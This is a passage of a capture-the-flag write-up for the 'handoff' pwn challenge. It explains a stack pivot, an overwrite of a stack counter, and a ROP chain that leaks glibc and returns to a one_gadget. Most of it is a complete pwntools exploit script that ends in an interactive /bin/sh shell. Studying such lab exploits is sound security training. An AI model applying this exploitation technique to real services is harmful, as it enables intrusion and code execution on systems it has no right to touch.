you for using this service! If you could take a second to write a quick review, we would really appreciate it: "); fgets(feedback, NAME_LEN, stdin); feedback[7] = '\0'; break; } ``` First, I pivoted the stack to a writable region. Since this binary has Partial RELRO, all regions below `.data` are writable. Additionally, because the `scanf()` function consumes a large amount of stack, the memory around `rbp-0xf00` must be writable. ![image](https://hackmd.io/_uploads/SJyxxwUhkg.png) Next, since total_entries is stored on the stack(`rbp-0x4`) behind the `feedback`, we overwrite total_entries to invoke the function at address 0x04012c3. With this, we can write the ROP chain starting from return address + 0x30. ![Screenshot_20250318_115859](https://hackmd.io/_uploads/BkmYZPUhJg.png) Next, we insert the following pop gadget to pad the space between retaddr and retaddr+0x30. ```asm 0x004014ab: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; ``` Finally, using the glibc address leaked via rop chain, we calculate the address of the one_gadget and return to it. ![image](https://hackmd.io/_uploads/rk_AQvLn1x.png) ```python= from pwn import * import sys e = ELF("handoff",checksec=False) libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6",checksec=False) ld = ELF("/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2",checksec=False) nc = "nc shape-facility.picoctf.net 51186" HOST = nc.split(" ")[1] PORT = int(nc.split(" ")[2]) dbg = 1 g_script = """ #set max-visualize-chunk-size 0x300 #b *0x040124e b *vuln+485 b *0x04013ac b *0x04012f3 b *0x04013e8 """ s = lambda b: io.send(b) sa = lambda a,b: io.sendafter(a,b) sl = lambda b: io.sendline(b) sla = lambda a,b: io.sendlineafter(a,b) r = lambda : io.recv() ru = lambda b:io.recvuntil(b) rl = lambda : io.recvline() pu32= lambda b : u32(b.ljust(4,b"\0")) pu64= lambda b : u64(b.ljust(8,b"\0")) hlog= lambda i : print(f"[*]{hex(i)}") shell = lambda : io.interactive() payload = b"" def pay64(adr:int):global payload;payload = p64(adr) def add64(adr:int):global payload;payload+= p64(adr) def pay32(adr:int):global payload;payload = p32(adr) def add32(adr:int):global payload;payload+= p32(adr) def paybyte(data:bytes):global payload;payload = data def addbyte(data:bytes):global payload;payload+= data pop_rdi_ret = 0x004014b3 ret = 0x004014d4 pop5 = 0x004014ab pop4 = 0x004014ac writable = 0x404f70 context.binary = e if len(sys.argv) > 1: io = remote(host=HOST,port=PORT) else: io = e.process() if dbg: gdb.attach(io,g_script) sl(b"3") paybyte(b"A"*8) #buf add32(100) #total entries add64(writable) add64(e.sym.vuln+8) print(f"{len(payload)}") print(ru(b"appreciate it: \n")) print(payload) sl(payload) sl(b"3") paybyte(b"A"*8) #buf add32(11) #total entries add64(writable) add64(0x04012c3) print(f"{len(payload)}") print(ru(b"appreciate it: \n")) print(payload) sl(payload) pay64(pop_rdi_ret) add64(e.got.puts) add64(e.plt.puts) add64(e.sym._start) print(f"{len(payload[:31])}") print(payload) s(payload[:31]) sl(b"3") paybyte(b"A"*8) #buf add32(11) #total entries add64(writable) add64(pop5) add64(writable-0x100) #print(ru(b"appreciate it: \n")) print(payload) # fuck my life test = input("GO???????????????????????????????????") sleep(1) s(payload[:31]) print(f"{len(payload[:31])}") sleep(2) res = r() print(f"{res=}") res = res.split(b"appreciate it: \n")[1] res = res.split(b"\n")[0] print(f"{res=}") libc.address = pu64(res) - libc.sym.puts print(f"{libc.address=}") print(f"{hex(libc.address)=}") binsh = next(libc.search(b"/bin/sh\0")) binsh = writable - 0x100 - 4 - 8 system = libc.sym.system hlog(binsh) hlog(system) sl(b"3") test = input("GO???????????????????????????????????") paybyte(b"/bin/sh\0") add32(11) #total entries #add64(0x0404018+12+8) add64(writable-0x300) #add64(0x04013d5) add64(libc.address + 0xebd43) test = input("GO???????????????????????????????????") sl(payload) shell() ```